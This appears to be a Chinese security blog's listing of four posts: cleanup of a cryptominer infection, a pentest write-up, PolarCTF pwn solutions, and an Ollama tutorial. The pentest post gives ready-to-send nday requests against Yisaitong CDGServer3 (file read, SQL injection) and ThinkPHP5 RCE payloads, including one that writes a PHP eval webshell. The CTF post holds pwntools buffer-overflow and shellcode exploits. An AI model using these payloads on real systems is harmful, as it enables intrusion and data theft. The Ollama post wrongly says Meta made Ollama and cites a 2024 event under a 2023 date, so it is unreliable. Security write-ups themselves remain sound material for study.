简介初步处理,待更新...工具分享这里分享个几个应急响应工具, 这里我用 toybox ,来查找恶意程序,再分享一个排查工具 GScan。我把 toybox 这个工具上传到 /usr/bin 文件夹里,方便任意位置调用,它和 busybox 功能一样,那为什么不用 busybox?因为被恶意程序禁用掉了。检查项{collapse}{collapse-item label="排查内容" close}/etc/passwd /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/* /etc/anacrontab /var/spool/anacron/* /var/log/auth.log /var/log/syslog /var/log/messages /var/log/secure /var/log/audit/audit.log /var/log/boot.log /var/log/kern.log /var/log/httpd/ /var/log/mysql/ /var/log/dmesg /var/log/btmp /var/log/lastlog /var/log/wtmp /var/log/utmp{/collapse-item}{collapse-item label="排查命令" close}# 建议配合busybox或toybox来执行系统命令,避免文件被恶意程序劫持和替换。 top iftop ps -elf | grep <keyword> netstat -anop ss who -m awk -F: '($3==0)' /etc/passwd find / -name <keyword> cat ls{/collapse-item}{/collapse}查找异常tobybox top通过 toybox 定位到可疑进程占用大量CPU,重启后 gettexted 后缀会随机变化,它是挖矿的主程序。它有潜伏期现在是没挖矿状态,但后面跟着一堆可疑程序,通过计算哈希值提交给VT与微步,发现是有问题的。system.pubgettexted.psscn疑似多个命令文件被恶意程序给劫持,通过 ps、ls 发现并不能找到恶意程序,而用toybox来执行却能找到。review通过VT查找可以看到程序的可以行为,并编写了清除恶意程序的 bash 脚本。清除代码1#!/bin/bash processes=("gettexted.*" "postmaped.*" "matchpathcond.*" "postcated.*" "telinited.*" "devlinked.*") for process in "${processes[@]}"; do echo "$process" toybox pkill -f "$process" done # 清理文件 files=( "/etc/init.d/dns-udp4" "/etc/profile.d/gateway.sh" "/.mod" "/etc/.cfg" "/boot/system.pub" "/etc/profile.d/bash.cfg" "/lib/system.mark" "/usr/lib/libgdi.so.0.8.2" "/usr/sbin/netstat.cfg" "/etc/profile.d/bash.cfg.sh" ) cleanup_file() { local file="$1" toybox rm -rf "$file" toybox echo -n > "$file" toybox chmod 000 "$file" chattr +i "$file" } cleanup_files() { local files=("$@") for file in "${files[@]}"; do cleanup_file "$file" done } cleanup_files "${files[@]}" # 系统加固 toybox echo 32768 > /proc/sys/kernel/pid_max toybox echo 0 > /proc/sys/kernel/ns_last_pid toybox rm -rf /usr/bin/review toybox rm -rf /usr/bin/gettexted* toybox rm -rf /usr/bin/biosdecoded* toybox rm -rf /usr/bin/devlinked* toybox rm -rf /usr/bin/telinited* toybox rm -rf /usr/bin/postcated* toybox rm -rf /usr/bin/matchpathcond* toybox rm -rf /usr/bin/postmaped* toybox rm -rf /usr/bin/mldconfig systemctl enable kdump.service systemctl restart ssh清除代码2#!/bin/bash rm -rf /etc/init.d/dns-udp4 rm -rf /etc/profile.d/gateway.sh sed -i '/\/usr\/sbin\/netstat.cfe/d' /etc/rc.d/rc.local sed -i '/\*\/1 \* \* \* \* root \/\.mod/d' /etc/crontab sed -i '/\/lib\/system.mark/d' /etc/rc.d/init.d/network echo -n >/.mod echo -n > /etc/.cfg echo -n > /boot/system.pub echo -n > /etc/profile.d/bash.cfg echo -n > /lib/system.mark echo -n > /usr/lib/libedi.so.8.8.2 echo -n > /usr/sbin/netstat.cfg echo -n > /etc/profile.d/bash.cfg.sh echo -n > /etc/selinux/config echo -n > /dev/null rm -rf /etc/selinux/targeted/tmp/modules/100/ chmod 000 /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh chmod +i /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh ###替换被篡改的文件 ./toybox-x86_64 cp -f ./agetty /usr/bin/agetty ./toybox-x86_64 cp -f ./tty /usr/bin/tty ./toybox-x86_64 cp -f ./ssh /usr/bin/ssh ./toybox-x86_64 cp -f ./scp /usr/bin/scp ./toybox-x86_64 cp -f ./umount /usr/bin/umount sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sshd sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/su sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sudo if [ $? -eq 0 ]; then echo "命令执行成功。" else echo "命令执行失败。" fi待分析...
2023年12月28日
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2023-12-06
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2023年12月06日
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2023-11-21
【技术分享】记一次内外网牛马渗透测试
Web渗透(外网)垂直越权可以发现前端登录存在两种模式,管理员与用户还有注册用户,这个时候我们可以先注册用户进去看看是什么样子的。这是我注册的普通用户,里面没有管理员权限的功能。这里我随便输入了一个错误的管理员账号密码,我的思路是先抓取我注册的用户,登录成功的响应包再进行替换错误的管理员返回的响应包,直接放行就能登录进去。这个是我注册的用户登录成功的响应包,这里进行复制保留,然后再登录错误的管理员账户,将我登录成功的响应数据替换到管理员响应包里即可。这样就进来了,在后台查询用户接口中其实还存在sql注入。SQL注入可以发现重发修改 sort=' 的时候直接爆出sql语句错误,说明这个参数存在sql注入。直接上sqlmap一把梭。未授权访问前端接口暴露,存在未经授权,可获取到大量个人敏感信息,包括个人姓名、手机号地址等等。访问将设置登录状态,http://xxx.xxx.xxx/permission/loginByOutside 再访问主页就登录成功了。亿赛通系统打一波ndayViewUploadFile任意文件读取GET /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:/Windows/System32/drivers/etc/hosts&uploadFileId=1&fileName1=hosts HTTP/1.1 Host: xxx.xxx.xxx Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=5BEE0014C9CD691F3177A3194EB06C3F Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflatecreate SmartSec信息泄露https://xxx.xxx.xxx/CDGServer3/SQL/MYSQL/create_SmartSec_mysql.sqlUploadFileToCatalog SQL注入POST /CDGServer3/js/../policy/UploadFileToCatalog?fromurl=../user/dataSearch.jsp HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded id=1FileFormatAjax SQL注入POST /CDGServer3/PerOrgServlet/../FileFormatAjax HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded command=delFileFormat&fileFormatId=12SaveCDGPermissionFromGFOA SQL注入POST /CDGServer3/js/../SaveCDGPermissionFromGFOA HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded fileId=1PolicyAjax 前台SQL注入POST /CDGServer3/dojojs/../PolicyAjax HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded command=selectOption&id=1HookInvalidCourse SQL注入POST /CDGServer3/system/HookInvalidCourse;loginService HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded command=DelHookInvalidCourse&id=1Web渗透(内网)资产收集开始工作,我用Goby对内网进行资产探测,网段比较大,例子也比较形象,就单个作为文章的记录了。弱口令逮到几个弱口令,内网中弱口令最多了,记得上次有10多个弱口令。。。Thinkphp5 RCE命令执行看图片识框架,这不是Thinkphp吗,果断用工具跑一遍payload。果不其然存在RCE命令执行,直接上payload看看。/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoam运气还不错,歪打正着,看看是个什么权限,是 system 耶,emm... 很棒!文件包含?s=index/\think\Lang/load&file=C:\windows\write.exe写入小马?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php eval($_POST['cmd']); > 1.php哈哈哈,直接写个shell用蚁剑连接上,好了点到为止。懒得哔哔 : )目录泄露没啥好说的,没啥用。。。
2023年11月21日
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2023-09-26
【技术分享】2023年PolarCTF挑战赛Pwn篇
小狗汪汪汪以下命令可以以首字母简写。checksec woof拿到题目先查下,有哪些地方被保护了,这里就 NX 开启了保护其他没什么。NX 就是程序的栈段不允许执行代码,用来防止栈溢出攻击中植入的 shellcode 执行。gdb woof这里就直接用 gdb 进行调试了,先导入程序分析下。info functions // 查看函数表查看有哪些函数,发现有一个很敏感的函数 getshell 因为这道题跟小狗有关,这里我也加上了dog,这两个函数可以都看看。break main // 断点main函数 run这里我就在 main 函数下个断点吧,让它先跑起来。next跑起来后就单步步过,按 n 键一直往下走,直到执行让我们输入的时候,这里我正常输入几个 a 然后回车,程序就会停下来。再查看堆栈,这里 esp 是栈顶,ebp是栈底,如何溢出呢?只要我们填充垃圾数据 a * 13 字节就能到函数返回,这个时候只要在溢出的返回点传入一个地址,那么就会执行。在使用 pwntools 模块 payload 的构造就是这样的 b'a' * 13 + p32(0x804859b),因为程序是 32 位的所以 p32。cyclic 100实在不太懂怎么得出的 13 也可以用溢出的方式计算出地址的偏移量,这里我生成了100字节的垃圾数据,进行输入填充。cyclic -l 0x65616161好了,现在就可以用 python 进行编写 exp 了。from pwn import * local = True if local: io = remote('120.46.59.242', 2116) else: io = process('./woof') payload = b'a' * 13 + p32(0x804859b) io.sendline(payload) io.interactive()play这里就用 IDA 进行分析了。进入主函数可以发现这里调用了两个函数,init 和 play 。进入 init 可以发现只是做了初始化,没什么用直接看play函数。可以发现这里有个变量 var_30 它的大小是 30h 转换成 10进制那么就是 48,而 gets 用的变量正是 var_30 可以存储的大小也就是 48 个字节了。在 gets 上面还有一个 _read 函数,它的 buf 正好是 .bss 段,我们可以通过第一次输入 _read 写入 shellcode 第二次 gets 溢出到返回到 shellcode 执行。我们已经知道了是 48 然后程序是 64位的那么要 + 8, 48(缓冲区大小)+ 4(覆盖 rbp)+ 4(覆盖返回地址)。from pwn import * context(arch='amd64', os='linux') local = True if local: io = remote('120.46.59.242', 2072) else: io = process('./play') shellcode = asm(shellcraft.sh()) io.sendlineafter('playing.\n', shellcode) offset = 0x38 buf = 0x6010A0 payload = b'a' * offset + p64(buf) io.sendline(payload) io.interactive()首先通过,第一个函数 _read 写入 shellcode 到 .bss 段,然后通过 gets 溢出到返回执行 shellcode 最终得到交互。heap_Easy_Uaf通过 checksec 发现开了 Canary 和 NX 不慌先用 IDA 看看。main函数里主要有一个菜单输出,然后就是 switch 选择,可利用的函数是 Are 函数。发现一个关键的地方,那就是 system('/bin/sh'),它被一个判断给包裹住了,仔细观察 a = malloc 申请了一个空间,通过 strcpy 把 flag 字符串复制到申请的地址 a 中,然后 free 又释放掉了 a,指针 a 并没有被置为NULL,而下面又使用被释放的 a 那么就存在一个 uaf 漏洞。用 sendafter 模拟等出 Choice! 字符串就发送 5,就会执行 are 函数然后输入大小 0x68 十进制是 104,满足后再输入 Flag,就满足所有条件了。from pwn import * local = True if local: io = remote('120.46.59.242',2069) else: io = process('./heap_Easy_Uaf') io.sendafter(b'Choice!', b'5') io.sendafter(b'size :', b'104') io.sendafter(b'Content :', b'Flag') io.interactive()
2023年09月26日
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2023-08-23
【每日随记】Ollama 使用教程
简介比较喜欢的一个开源项目(是Meta公司开发的),为什么要介绍它,我一直都想要一个不需要联网的AI大语言模型,由于性能和一些问题,在笔记本上跑的会非常吃力,而Ollama却完美的解决了。主要用起来方便,让它自己通过大量的数据进行学习,模型微调出自己的一个AI助手,想想就激动。网络搜索介绍: Ollama是一个为本地运行开源大型语言模型而设计的简化工具,它通过将模型权重、配置和数据集整合到一个由Modelfile管理的统一包中,极大地简化了LLM的部署过程。Meta公司,即元宇宙平台公司,公开发布了LLaMA,并对商业用途提出了许可要求。2023年7月,Meta公司发布了人工智能模型LLaMA 2的开源商用版本,意味着大模型应用进入了“免费时代”,初创公司也能够以低廉的价格来创建类似ChatGPT这样的聊天机器人。2024年7月23日,Meta发布了LLaMA 3.1 405B开源人工智能模型。Ollama Github下载安装没什么好说的,用什么操作系统就下载哪个版本,直接图形化无脑下一步安装。官网下载基本使用自己找吧,我比较喜欢用 gemma2,看个人喜好了吧。模型下载 复制这句代码,到Windows终端上,输入下载模型运行ollama run gemma2 // 交互式 ollama run gemma2 "你好" // 传参式自定义GGUF模型FROM ./vicuna-33b.Q4_0.gguf // 创建一个名为的文件 Modelfile,包含FROM要导入的模型的本地文件路径的指令。 ollama create example -f Modelfile // 在 Ollama 中创建模型 ollama run example // 运行模型GGUF 训练项目 Unsloth多态模型ollama run llava "What's in this image? /Users/jmorgan/Desktop/smile.png" The image features a yellow smiley face, which is likely the central focus of the picture.提示作为参数传递ollama run llama3.1 "Summarize this file: $(cat README.md)" Ollama is a lightweight, extensible framework for building and running language models on the local machine. It provides a simple API for creating, running, and managing models, as well as a library of pre-built models that can be easily used in a variety of applications.模型微调FROM gemma2 # set the temperature to 1 [higher is more creative, lower is more coherent] PARAMETER temperature 1 # set the system message SYSTEM """ You are Mario from Super Mario Bros. Answer as Mario, the assistant, only. """ollama create mario -f ./Modelfile ollama run mario >>> hi Hello! It's your friend Mario.接口调用curl http://localhost:11434/api/generate -d '{ "model": "gemma2", "prompt":"你好呀" }'curl http://localhost:11434/api/chat -d '{ "model": "gemma2", "messages": [ { "role": "user", "content": "你好呀" } ] }'Python 例子异步聊天import mysql.connector import ollama import asyncio async def main(): client = ollama.AsyncClient() messages = [] while True: if content_in := input('>>> '): messages.append({'role': 'user', 'content': content_in}) message = {'role': 'assistant', 'content': ''} async for response in await client.chat(model='gemma2', messages=messages, stream=True): if response['done']: messages.append(message) content = response['message']['content'] print(content, end='', flush=True) message['content'] += content print() try: asyncio.run(main()) except (KeyboardInterrupt, EOFError): pass模型创建all_content = "你是一个很牛的程序员" modelfile=''' FROM gemma2 PARAMETER temperature 1 SYSTEM %s '''.strip() % all_content ollama.create(model='maon', modelfile=modelfile)流式输出from ollama import chat messages = [ { 'role': 'user', 'content': '你好呀', }, ] for part in chat('gemma2', messages=messages, stream=True): print(part['message']['content'], end='', flush=True) print()解决网络搜索待更新...
2023年08月23日
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